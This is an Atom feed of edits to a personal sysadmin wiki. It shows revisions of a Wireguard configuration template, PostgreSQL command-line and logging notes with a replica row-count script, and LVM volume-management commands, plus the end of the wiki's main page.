*'''[[Kdenlive]]''' ''Montaggio multitraccia per linux''&lt;br /&gt;
*'''[[MediaSync]]''' ''framework di gestione materiale multimediale ''&lt;br /&gt;
*'''[http://videoteca.webhop.net/ MediaCutter ''(beta)'']'''&lt;br /&gt;
&lt;br /&gt;
===== Some Random Stuff =====&lt;br /&gt;
*'''[[converter|CAAP]]''' ''(Conversioni Automatizzate Asincrone in Parallelo) / batch system '''PBS''' ''&lt;br /&gt;
*'''[[DB|i database multimediali]]'''&lt;br /&gt;
*'''[[Kickstart]]''' ''Installazioni Automatizzate ''&lt;br /&gt;
*'''[[Procedimenti]]''' ''Raccolta di procedimenti''&lt;br /&gt;
*'''[[OpenVPN]]'''&lt;br /&gt;
*'''[[Safe Browsing]]''' ''collection of common or more sophisticated safe browsing tips''&lt;br /&gt;
*; Apple&lt;br /&gt;
**'''[[Mac]]''' ''OSx''&lt;br /&gt;
** '''[[MacDevices]]''' ''using Apple devices on linux''&lt;br /&gt;
**'''[[maclinux]]''' ''Linux su MacBook''&lt;br /&gt;
**'''[[once upon a time, there was an apple]]'''&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== The World Beyond IT==&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|width=&amp;quot;30%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
=== Robotics / Electronics ===&lt;br /&gt;
* [[Propulsori Stepper]]&lt;br /&gt;
* [[Porta Parallela]]&lt;br /&gt;
* [[Arduino]]&lt;br /&gt;
* [[MicroControllori PIC]]&lt;br /&gt;
&lt;br /&gt;
=== Physics ===&lt;br /&gt;
&lt;br /&gt;
* [[Physics]]&lt;br /&gt;
&lt;br /&gt;
=== Links: ===&lt;br /&gt;
&lt;br /&gt;
* http://foto.alessandrodelgallo.org  my photo gallery&lt;br /&gt;
* http://videoteeka.com my video gallery software ''(outdated)''&lt;br /&gt;
* http://www.youtube.com/user/porcelinux old YouTube channel&lt;br /&gt;
&lt;br /&gt;
* [http://www.mediawiki.org/wiki/Help:FAQ MediaWiki FAQ]&lt;br /&gt;
* [http://www.mediawiki.org/wiki/Help:Formatting MediaWiki Help Formatting]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;30%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Languages ===&lt;br /&gt;
* [[Italiano]]&lt;br /&gt;
** a wonderful dictionary http://www.wordreference.com/&lt;br /&gt;
** dizionario etimologico: http://www.etimo.it/&lt;br /&gt;
** dizionario italiano http://www.demauro.it/&lt;br /&gt;
* [[Spangolo]]&lt;br /&gt;
* [[English]]&lt;br /&gt;
* [[Olandese]]&lt;br /&gt;
** [[living in the nederlands|Living in the Netherlands]]&lt;br /&gt;
* [[Deutsch]]&lt;br /&gt;
** [[Living in Germany]]&lt;br /&gt;
&lt;br /&gt;
*; [[Documicate]] what is [[documication]] ?&lt;br /&gt;
&lt;br /&gt;
* [[NienteNadaNothing]]&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you liked this wiki and you want to donate, you can use the following Bitcoin or Litecoin addresses. Thank you&lt;br /&gt;
*;BTC : 1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk&lt;br /&gt;
*;LTC : LYbzJsCVmTynaK63CNMne89xKj961jFbWc&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Wireguard&amp;diff=6455</id>
		<title>Wireguard</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Wireguard&amp;diff=6455"/>
		<updated>2025-08-15T22:45:18Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
 [Interface]&lt;br /&gt;
 # Name = host&lt;br /&gt;
 Address = 10.0.2.3/32&lt;br /&gt;
 ListenPort = 12345&lt;br /&gt;
 PrivateKey =&lt;br /&gt;
 DNS = 1.0.0.1,1.0.0.2&lt;br /&gt;
 Table = 1234&lt;br /&gt;
 # MTU = 1420&lt;br /&gt;
 # PreUp = /bin %i&lt;br /&gt;
 # PostUp = /bin %i&lt;br /&gt;
 # PreDown = /bin %i&lt;br /&gt;
 # PostDown = /bin %i&lt;br /&gt;
&lt;br /&gt;
 [Peer]&lt;br /&gt;
 # Name = peer&lt;br /&gt;
 AllowedIPs = 10.0.2.1/24&lt;br /&gt;
 Endpoint = peer.fqdn:56789&lt;br /&gt;
 PublicKey =&lt;br /&gt;
 PersistentKeepalive = 60&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Wireguard&amp;diff=6454</id>
		<title>Wireguard</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Wireguard&amp;diff=6454"/>
		<updated>2025-08-15T22:44:44Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
 [Interface]&lt;br /&gt;
 # Name = host&lt;br /&gt;
 Address = 10.0.2.3/32&lt;br /&gt;
 ListenPort = 12345&lt;br /&gt;
 PrivateKey =&lt;br /&gt;
 DNS = 1.0.0.1,1.0.0.2&lt;br /&gt;
 Table = 1234&lt;br /&gt;
 # MTU = 1420&lt;br /&gt;
 # PreUp = /bin %i&lt;br /&gt;
 # PostUp = /bin %i&lt;br /&gt;
 # PreDown = /bin %i&lt;br /&gt;
 # PostDown = /bin %i&lt;br /&gt;
&lt;br /&gt;
 [Peer]&lt;br /&gt;
 # Name = peer&lt;br /&gt;
 AllowedIPs = 10.0.2.1/24&lt;br /&gt;
 Endpoint = peer.fqdn:12345&lt;br /&gt;
 PublicKey =&lt;br /&gt;
 PersistentKeepalive = 60&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Wireguard&amp;diff=6453</id>
		<title>Wireguard</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Wireguard&amp;diff=6453"/>
		<updated>2025-08-15T22:42:47Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: Created page with &amp;quot;  [Interface]  # Name = host  Address = 192.0.2.3/32  ListenPort = 51820  PrivateKey =  DNS = 1.0.0.1,1.0.0.2  Table = 12345  MTU = 1420  PreUp = /bin/example arg1 arg2 %i  PostUp = /bin/example arg1 arg2 %i  PreDown = /bin arg1 arg2 %i  PostDown = /bin arg1 arg2 %i   [Peer]  # Name = peer  AllowedIPs = 10.0.2.1/24  Endpoint = node1.example.tld:12345  PublicKey = remotePublicKeyAbcAbcAbc=  PersistentKeepalive = 25&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
 [Interface]&lt;br /&gt;
 # Name = host&lt;br /&gt;
 Address = 192.0.2.3/32&lt;br /&gt;
 ListenPort = 51820&lt;br /&gt;
 PrivateKey =&lt;br /&gt;
 DNS = 1.0.0.1,1.0.0.2&lt;br /&gt;
 Table = 12345&lt;br /&gt;
 MTU = 1420&lt;br /&gt;
 PreUp = /bin/example arg1 arg2 %i&lt;br /&gt;
 PostUp = /bin/example arg1 arg2 %i&lt;br /&gt;
 PreDown = /bin arg1 arg2 %i&lt;br /&gt;
 PostDown = /bin arg1 arg2 %i&lt;br /&gt;
&lt;br /&gt;
 [Peer]&lt;br /&gt;
 # Name = peer&lt;br /&gt;
 AllowedIPs = 10.0.2.1/24&lt;br /&gt;
 Endpoint = node1.example.tld:12345&lt;br /&gt;
 PublicKey = remotePublicKeyAbcAbcAbc=&lt;br /&gt;
 PersistentKeepalive = 25&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=PostgreSQL&amp;diff=6452</id>
		<title>PostgreSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=PostgreSQL&amp;diff=6452"/>
		<updated>2025-02-16T20:21:33Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Command Line Tools=&lt;br /&gt;
&lt;br /&gt;
==Queries==&lt;br /&gt;
*Create an Admin user from command line&lt;br /&gt;
 CREATE USER user WITH LOGIN PASSWORD 'md53Oa21Oc89654a4b3a8255688186I58a9' VALID UNTIL '2205-01-01' SUPERUSER ;&lt;br /&gt;
&lt;br /&gt;
* Get list of databases and their sizes:&lt;br /&gt;
 SELECT pg_database.datname, pg_database_size(pg_database.datname), pg_size_pretty(pg_database_size(pg_database.datname)) &lt;br /&gt;
 FROM pg_database ORDER BY pg_database_size DESC;&lt;br /&gt;
&lt;br /&gt;
== Shell ==&lt;br /&gt;
* Connect to a PostgreSQL server.&lt;br /&gt;
 export PGPASSWORD=&amp;quot;password&amp;quot;&lt;br /&gt;
 psql -t -A -h &amp;lt;hostname&amp;gt; &amp;lt;database&amp;gt; &amp;lt;utente&amp;gt; -c &amp;quot;SELECT myquery FROM table&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
* script to compare the row count on all tables between a master and a replica database (run in the replica with &amp;quot;trusted&amp;quot; user)&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
tables=`$PCOMMAND -c &amp;quot;select tablename from pg_tables;&amp;quot;`&lt;br /&gt;
&lt;br /&gt;
host_src=10.1.1.1&lt;br /&gt;
host_dst=10.1.1.2&lt;br /&gt;
PCOMMAND=&amp;quot;psql -t -A  -Upostgres db_name&amp;quot;&lt;br /&gt;
&lt;br /&gt;
tables=`$PCOMMAND -h$host_src -c &amp;quot;SELECT * FROM information_schema.tables WHERE table_type != 'VIEW'&amp;quot;|awk -F&amp;quot;|&amp;quot; '{print $2&amp;quot;.&amp;quot;$3}'`&lt;br /&gt;
&lt;br /&gt;
IFS=$'\n'&lt;br /&gt;
for TABLE in $tables ;do&lt;br /&gt;
    unset IFS&lt;br /&gt;
    count_src=`$PCOMMAND -h$host_src -c &amp;quot;select count(*) from $TABLE;&amp;quot;`&lt;br /&gt;
    count_dst=`$PCOMMAND -h$host_dst -c &amp;quot;select count(*) from $TABLE;&amp;quot;`&lt;br /&gt;
    if [ $count_src -ne $count_dst ];then&lt;br /&gt;
      echo -e &amp;quot;different record count betwen $host_src ($count_src)\t and $host_dst ($count_dst)\t in table $TABLE&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration ==&lt;br /&gt;
*; some standard locations&lt;br /&gt;
**home:/var/lib/postgres&lt;br /&gt;
**conf:/etc/postgres/x.x/main/&lt;br /&gt;
**logs:/var/log/postgres/x.x/main&lt;br /&gt;
&lt;br /&gt;
* More Logging&lt;br /&gt;
add in postgresql.conf&lt;br /&gt;
 log_line_prefix = '%t %c %u ' # time sessionid user&lt;br /&gt;
 log_statement = 'all'&lt;br /&gt;
&lt;br /&gt;
== Errors ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2025-02-16 16:05:08.491 UTC 67b20cb4.1fdcb 0 archiver archiver FATAL:  password authentication failed for user &amp;quot;archiver&amp;quot;&lt;br /&gt;
2025-02-16 16:05:08.491 UTC 67b20cb4.1fdcb 0 archiver archiver DETAIL:  User &amp;quot;archiver&amp;quot; has no password assigned.&lt;br /&gt;
        Connection matched pg_hba.conf line 7: &amp;quot;local all all md5&amp;quot;&lt;br /&gt;
2025-02-16 16:05:08.491 UTC 67b20cb4.1fdcb 0 archiver archiver LOG:  could not send data to client: Broken pipe&lt;br /&gt;
2025-02-16 16:05:08.510 UTC 67b20cb4.1fdd0 0 [unknown] archiver ERROR:  replication slot &amp;quot;vpg_archiver&amp;quot; already exists&lt;br /&gt;
2025-02-16 16:05:08.510 UTC 67b20cb4.1fdd0 0 [unknown] archiver STATEMENT:  CREATE_REPLICATION_SLOT &amp;quot;vpg_archiver&amp;quot; PHYSICAL&lt;br /&gt;
2025-02-16 16:05:08.817 UTC 67b20cb4.1fdd8 0 [unknown] archiver ERROR:  requested WAL segment 0000000100000022000000C4 has already been removed&lt;br /&gt;
2025-02-16 16:05:08.817 UTC 67b20cb4.1fdd8 0 [unknown] archiver STATEMENT:  START_REPLICATION SLOT &amp;quot;vpg_archiver&amp;quot; 22/C4000000 TIMELINE 1&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= PostgreSQL GUI's =&lt;br /&gt;
&lt;br /&gt;
== phpPgAdmin ==&lt;br /&gt;
&lt;br /&gt;
*; fix problem with Postgres version 9.4&lt;br /&gt;
* taken and modified from: http://stackoverflow.com/questions/13467949/error-on-creating-database-in-phppgadmin&lt;br /&gt;
Quick Fix: (worked with my Version (5.0.3) / pg 9.2.3 )&lt;br /&gt;
&lt;br /&gt;
#cd classes/database&lt;br /&gt;
#copy Postgres84.php to Postgres94.php&lt;br /&gt;
#open Connection.php&lt;br /&gt;
#add a line  case '9.4': return 'Postgres94'; break; at the // Detect version and choose appropriate database driver switch.&lt;br /&gt;
#open Postgres.php and copy functions getTablespaces + getTablespace&lt;br /&gt;
#open Postgres94.php and paste the functions into the class&lt;br /&gt;
## replace &amp;quot;, spclocation,&amp;quot; with &amp;quot;, pg_tablespace_location(oid) as spclocation,&amp;quot; in both functions.&lt;br /&gt;
## change class name to Postgres94&lt;br /&gt;
&lt;br /&gt;
==PostgreSQLStudio ==&lt;br /&gt;
http://www.postgresqlstudio.org/download/&lt;br /&gt;
&lt;br /&gt;
==TeamPostgreSQL==&lt;br /&gt;
&lt;br /&gt;
http://www.teampostgresql.com/&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=LVM&amp;diff=6449</id>
		<title>LVM</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=LVM&amp;diff=6449"/>
		<updated>2025-01-20T20:42:03Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= Info =&lt;br /&gt;
&lt;br /&gt;
*; Phisical Volumes&lt;br /&gt;
 pvs&lt;br /&gt;
&lt;br /&gt;
*; Volume Groups&lt;br /&gt;
 vgs&lt;br /&gt;
*; Logical Volumes&lt;br /&gt;
 lvs&lt;br /&gt;
&lt;br /&gt;
= Phisical Volumes (PV) =&lt;br /&gt;
 pvs&lt;br /&gt;
  PV         VG         Fmt  Attr PSize   PFree  &lt;br /&gt;
  /dev/sda  vg_1 lvm2 a--  930.82g      0 &lt;br /&gt;
  /dev/sdb  vg_1 lvm2 a--  931.31g 931.31g&lt;br /&gt;
* Phisical to Virtual&lt;br /&gt;
  lvs -a -o +devices&lt;br /&gt;
* Segmentation&lt;br /&gt;
 pvs -v --segments /dev/sdb1&lt;br /&gt;
  PV         VG          Fmt  Attr PSize  PFree  Start SSize LV   Start Type   PE Ranges       &lt;br /&gt;
  /dev/sdb1  server03-vg lvm2 a--  58.35g 40.35g     0  4608 root     0 linear /dev/sdb1:0-4607&lt;br /&gt;
  /dev/sdb1  server03-vg lvm2 a--  58.35g 40.35g  4608 10330          0 free                   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== add a disk to a PV ==&lt;br /&gt;
  vgextend vg_1 /dev/sdb&lt;br /&gt;
  Volume group &amp;quot;vg_1&amp;quot; successfully extended&lt;br /&gt;
&lt;br /&gt;
== remove a disk from PV ==&lt;br /&gt;
 vgreduce vg_1 /dev/sdb&lt;br /&gt;
  Removed &amp;quot;/dev/sdb&amp;quot; from volume group &amp;quot;vg_1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== delete a PV ==&lt;br /&gt;
 vgremove vg_1&lt;br /&gt;
 Volume group &amp;quot;vg_1&amp;quot; successfully removed&lt;br /&gt;
&lt;br /&gt;
== xx is using an old PV header, modify the VG to update. ==&lt;br /&gt;
appears when moving/updating from RHEL5 to 6 then RHEL6 to 7 and to 8&lt;br /&gt;
* update PV header version&lt;br /&gt;
 vgck --updatemetadata xx&lt;br /&gt;
* check PV header version&lt;br /&gt;
 pvck --dump headers /dev/&amp;lt;device&lt;br /&gt;
&lt;br /&gt;
= Resizing out from Disk-&amp;gt;PV-&amp;gt;LV-&amp;gt;Partition =&lt;br /&gt;
* After resizing a physical drive this commands will claim the space gained to the file system.&lt;br /&gt;
*resizing LVM linux partition to the new disk boundaries&lt;br /&gt;
 pvresize /dev/md1&lt;br /&gt;
&lt;br /&gt;
 pvresize --setphysicalvolumesize (size here) /dev/sda5&lt;br /&gt;
&lt;br /&gt;
* adding 100G &lt;br /&gt;
 lvextend -L+100G /dev/mapper/vg0-var&lt;br /&gt;
* ext4 resizing command&lt;br /&gt;
 resize2fs /dev/mapper/vg0-var&lt;br /&gt;
&lt;br /&gt;
 df -hT&lt;br /&gt;
&lt;br /&gt;
= Logical Volumes =&lt;br /&gt;
== create a mirror volume ==&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L 931g vg_1 -m 1 vg_1&lt;br /&gt;
&lt;br /&gt;
== create a mirror from existing and mounted volume ==&lt;br /&gt;
&lt;br /&gt;
 lvconvert -m1 vg_1/lv_home&lt;br /&gt;
&lt;br /&gt;
* then we check the result:&lt;br /&gt;
 # pvs;echo;vgs;echo;lvs&lt;br /&gt;
  PV         VG         Fmt  Attr PSize   PFree &lt;br /&gt;
  /dev/sda2  vg_1 lvm2 a--  930.82g     0 &lt;br /&gt;
  /dev/sdb   vg_1 lvm2 a--  931.31g 56.33g&lt;br /&gt;
&lt;br /&gt;
  VG         #PV #LV #SN Attr   VSize VFree &lt;br /&gt;
  vg_1  2   3   0 wz--n- 1.82t 56.33g&lt;br /&gt;
&lt;br /&gt;
  LV      VG         Attr     LSize   Pool Origin Data%  Move Log          Copy%  Convert&lt;br /&gt;
  lv_home vg_1 mwi-aom- 874.98g                         lv_home_mlog 100.00        &lt;br /&gt;
  lv_root vg_1 -wi-ao--  50.00g                                                    &lt;br /&gt;
  lv_swap vg_1 -wi-ao--   5.84g&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=LVM&amp;diff=6448</id>
		<title>LVM</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=LVM&amp;diff=6448"/>
		<updated>2025-01-19T09:30:48Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Info =&lt;br /&gt;
&lt;br /&gt;
*; Phisical Volumes&lt;br /&gt;
 pvs&lt;br /&gt;
&lt;br /&gt;
*; Volume Groups&lt;br /&gt;
 vgs&lt;br /&gt;
*; Logical Volumes&lt;br /&gt;
 lvs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Phisical Volumes (PV) =&lt;br /&gt;
&lt;br /&gt;
 pvs&lt;br /&gt;
  PV         VG         Fmt  Attr PSize   PFree  &lt;br /&gt;
  /dev/sda  vg_1 lvm2 a--  930.82g      0 &lt;br /&gt;
  /dev/sdb  vg_1 lvm2 a--  931.31g 931.31g&lt;br /&gt;
* Phisical to Virtual&lt;br /&gt;
  lvs -a -o +devices&lt;br /&gt;
* Segmentation&lt;br /&gt;
 pvs -v --segments /dev/sdb1&lt;br /&gt;
  PV         VG          Fmt  Attr PSize  PFree  Start SSize LV   Start Type   PE Ranges       &lt;br /&gt;
  /dev/sdb1  server03-vg lvm2 a--  58.35g 40.35g     0  4608 root     0 linear /dev/sdb1:0-4607&lt;br /&gt;
  /dev/sdb1  server03-vg lvm2 a--  58.35g 40.35g  4608 10330          0 free                   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== add a disk to a PV ==&lt;br /&gt;
  vgextend vg_1 /dev/sdb&lt;br /&gt;
  Volume group &amp;quot;vg_1&amp;quot; successfully extended&lt;br /&gt;
&lt;br /&gt;
== remove a disk from PV ==&lt;br /&gt;
&lt;br /&gt;
 vgreduce vg_1 /dev/sdb&lt;br /&gt;
  Removed &amp;quot;/dev/sdb&amp;quot; from volume group &amp;quot;vg_1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== delete a PV ==&lt;br /&gt;
 vgremove vg_1&lt;br /&gt;
 Volume group &amp;quot;vg_1&amp;quot; successfully removed&lt;br /&gt;
&lt;br /&gt;
= Resizing out from Disk-&amp;gt;PV-&amp;gt;LV-&amp;gt;Partition =&lt;br /&gt;
&lt;br /&gt;
* After resizing a physical drive this commands will claim the space gained to the file system.&lt;br /&gt;
*resizing LVM linux partition to the new disk boundaries&lt;br /&gt;
 pvresize /dev/md1&lt;br /&gt;
&lt;br /&gt;
 pvresize --setphysicalvolumesize (size here) /dev/sda5&lt;br /&gt;
&lt;br /&gt;
* adding 100G &lt;br /&gt;
 lvextend -L+100G /dev/mapper/vg0-var&lt;br /&gt;
* ext4 resizing command&lt;br /&gt;
 resize2fs /dev/mapper/vg0-var&lt;br /&gt;
&lt;br /&gt;
 df -hT&lt;br /&gt;
&lt;br /&gt;
== xx is using an old PV header, modify the VG to update. ==&lt;br /&gt;
&lt;br /&gt;
 vgck --updatemetadata xx&lt;br /&gt;
&lt;br /&gt;
= Logical Volumes =&lt;br /&gt;
== create a mirror volume ==&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L 931g vg_1 -m 1 vg_1&lt;br /&gt;
&lt;br /&gt;
== create a mirror from existing and mounted volume ==&lt;br /&gt;
&lt;br /&gt;
 lvconvert -m1 vg_1/lv_home&lt;br /&gt;
&lt;br /&gt;
* then we check the result:&lt;br /&gt;
 # pvs;echo;vgs;echo;lvs&lt;br /&gt;
  PV         VG         Fmt  Attr PSize   PFree &lt;br /&gt;
  /dev/sda2  vg_1 lvm2 a--  930.82g     0 &lt;br /&gt;
  /dev/sdb   vg_1 lvm2 a--  931.31g 56.33g&lt;br /&gt;
&lt;br /&gt;
  VG         #PV #LV #SN Attr   VSize VFree &lt;br /&gt;
  vg_1  2   3   0 wz--n- 1.82t 56.33g&lt;br /&gt;
&lt;br /&gt;
  LV      VG         Attr     LSize   Pool Origin Data%  Move Log          Copy%  Convert&lt;br /&gt;
  lv_home vg_1 mwi-aom- 874.98g                         lv_home_mlog 100.00        &lt;br /&gt;
  lv_root vg_1 -wi-ao--  50.00g                                                    &lt;br /&gt;
  lv_swap vg_1 -wi-ao--   5.84g&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=LVM&amp;diff=6447</id>
		<title>LVM</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=LVM&amp;diff=6447"/>
		<updated>2025-01-19T09:30:16Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* xx is using an old PV header, modify the VG to update. */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Info =&lt;br /&gt;
&lt;br /&gt;
*; Phisical Volumes&lt;br /&gt;
 pvs&lt;br /&gt;
&lt;br /&gt;
*; Volume Groups&lt;br /&gt;
 vgs&lt;br /&gt;
*; Logical Volumes&lt;br /&gt;
 lvs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Phisical Volumes (PV) =&lt;br /&gt;
&lt;br /&gt;
 pvs&lt;br /&gt;
  PV         VG         Fmt  Attr PSize   PFree  &lt;br /&gt;
  /dev/sda  vg_1 lvm2 a--  930.82g      0 &lt;br /&gt;
  /dev/sdb  vg_1 lvm2 a--  931.31g 931.31g&lt;br /&gt;
* Phisical to Virtual&lt;br /&gt;
  lvs -a -o +devices&lt;br /&gt;
* Segmentation&lt;br /&gt;
 pvs -v --segments /dev/sdb1&lt;br /&gt;
  PV         VG          Fmt  Attr PSize  PFree  Start SSize LV   Start Type   PE Ranges       &lt;br /&gt;
  /dev/sdb1  server03-vg lvm2 a--  58.35g 40.35g     0  4608 root     0 linear /dev/sdb1:0-4607&lt;br /&gt;
  /dev/sdb1  server03-vg lvm2 a--  58.35g 40.35g  4608 10330          0 free                   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== add a disk to a PV ==&lt;br /&gt;
  vgextend vg_1 /dev/sdb&lt;br /&gt;
  Volume group &amp;quot;vg_1&amp;quot; successfully extended&lt;br /&gt;
&lt;br /&gt;
== remove a disk from PV ==&lt;br /&gt;
&lt;br /&gt;
 vgreduce vg_1 /dev/sdb&lt;br /&gt;
  Removed &amp;quot;/dev/sdb&amp;quot; from volume group &amp;quot;vg_1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== delete a PV ==&lt;br /&gt;
 vgremove vg_1&lt;br /&gt;
 Volume group &amp;quot;vg_1&amp;quot; successfully removed&lt;br /&gt;
&lt;br /&gt;
= Resizing out from Disk-&amp;gt;PV-&amp;gt;LV-&amp;gt;Partition =&lt;br /&gt;
&lt;br /&gt;
* After resizing a physical drive this commands will claim the space gained to the file system.&lt;br /&gt;
*resizing LVM linux partition to the new disk boundaries&lt;br /&gt;
 pvresize /dev/md1&lt;br /&gt;
&lt;br /&gt;
 pvresize --setphysicalvolumesize (size here) /dev/sda5&lt;br /&gt;
&lt;br /&gt;
* adding 100G &lt;br /&gt;
 lvextend -L+100G /dev/mapper/vg0-var&lt;br /&gt;
* ext4 resizing command&lt;br /&gt;
 resize2fs /dev/mapper/vg0-var&lt;br /&gt;
&lt;br /&gt;
 df -hT&lt;br /&gt;
&lt;br /&gt;
= Logical Volumes =&lt;br /&gt;
== create a mirror volume ==&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L 931g vg_1 -m 1 vg_1&lt;br /&gt;
&lt;br /&gt;
== create a mirror from existing and mounted volume ==&lt;br /&gt;
&lt;br /&gt;
 lvconvert -m1 vg_1/lv_home&lt;br /&gt;
&lt;br /&gt;
* then we check the result:&lt;br /&gt;
 # pvs;echo;vgs;echo;lvs&lt;br /&gt;
  PV         VG         Fmt  Attr PSize   PFree &lt;br /&gt;
  /dev/sda2  vg_1 lvm2 a--  930.82g     0 &lt;br /&gt;
  /dev/sdb   vg_1 lvm2 a--  931.31g 56.33g&lt;br /&gt;
&lt;br /&gt;
  VG         #PV #LV #SN Attr   VSize VFree &lt;br /&gt;
  vg_1  2   3   0 wz--n- 1.82t 56.33g&lt;br /&gt;
&lt;br /&gt;
  LV      VG         Attr     LSize   Pool Origin Data%  Move Log          Copy%  Convert&lt;br /&gt;
  lv_home vg_1 mwi-aom- 874.98g                         lv_home_mlog 100.00        &lt;br /&gt;
  lv_root vg_1 -wi-ao--  50.00g                                                    &lt;br /&gt;
  lv_swap vg_1 -wi-ao--   5.84g&lt;br /&gt;
&lt;br /&gt;
== xx is using an old PV header, modify the VG to update. ==&lt;br /&gt;
&lt;br /&gt;
 vgck --updatemetadata xx&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=LVM&amp;diff=6446</id>
		<title>LVM</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=LVM&amp;diff=6446"/>
		<updated>2025-01-19T09:30:01Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Info =&lt;br /&gt;
&lt;br /&gt;
*; Phisical Volumes&lt;br /&gt;
 pvs&lt;br /&gt;
&lt;br /&gt;
*; Volume Groups&lt;br /&gt;
 vgs&lt;br /&gt;
*; Logical Volumes&lt;br /&gt;
 lvs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Phisical Volumes (PV) =&lt;br /&gt;
&lt;br /&gt;
 pvs&lt;br /&gt;
  PV         VG         Fmt  Attr PSize   PFree  &lt;br /&gt;
  /dev/sda  vg_1 lvm2 a--  930.82g      0 &lt;br /&gt;
  /dev/sdb  vg_1 lvm2 a--  931.31g 931.31g&lt;br /&gt;
* Phisical to Virtual&lt;br /&gt;
  lvs -a -o +devices&lt;br /&gt;
* Segmentation&lt;br /&gt;
 pvs -v --segments /dev/sdb1&lt;br /&gt;
  PV         VG          Fmt  Attr PSize  PFree  Start SSize LV   Start Type   PE Ranges       &lt;br /&gt;
  /dev/sdb1  server03-vg lvm2 a--  58.35g 40.35g     0  4608 root     0 linear /dev/sdb1:0-4607&lt;br /&gt;
  /dev/sdb1  server03-vg lvm2 a--  58.35g 40.35g  4608 10330          0 free                   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== add a disk to a PV ==&lt;br /&gt;
  vgextend vg_1 /dev/sdb&lt;br /&gt;
  Volume group &amp;quot;vg_1&amp;quot; successfully extended&lt;br /&gt;
&lt;br /&gt;
== remove a disk from PV ==&lt;br /&gt;
&lt;br /&gt;
 vgreduce vg_1 /dev/sdb&lt;br /&gt;
  Removed &amp;quot;/dev/sdb&amp;quot; from volume group &amp;quot;vg_1&amp;quot;&lt;br /&gt;
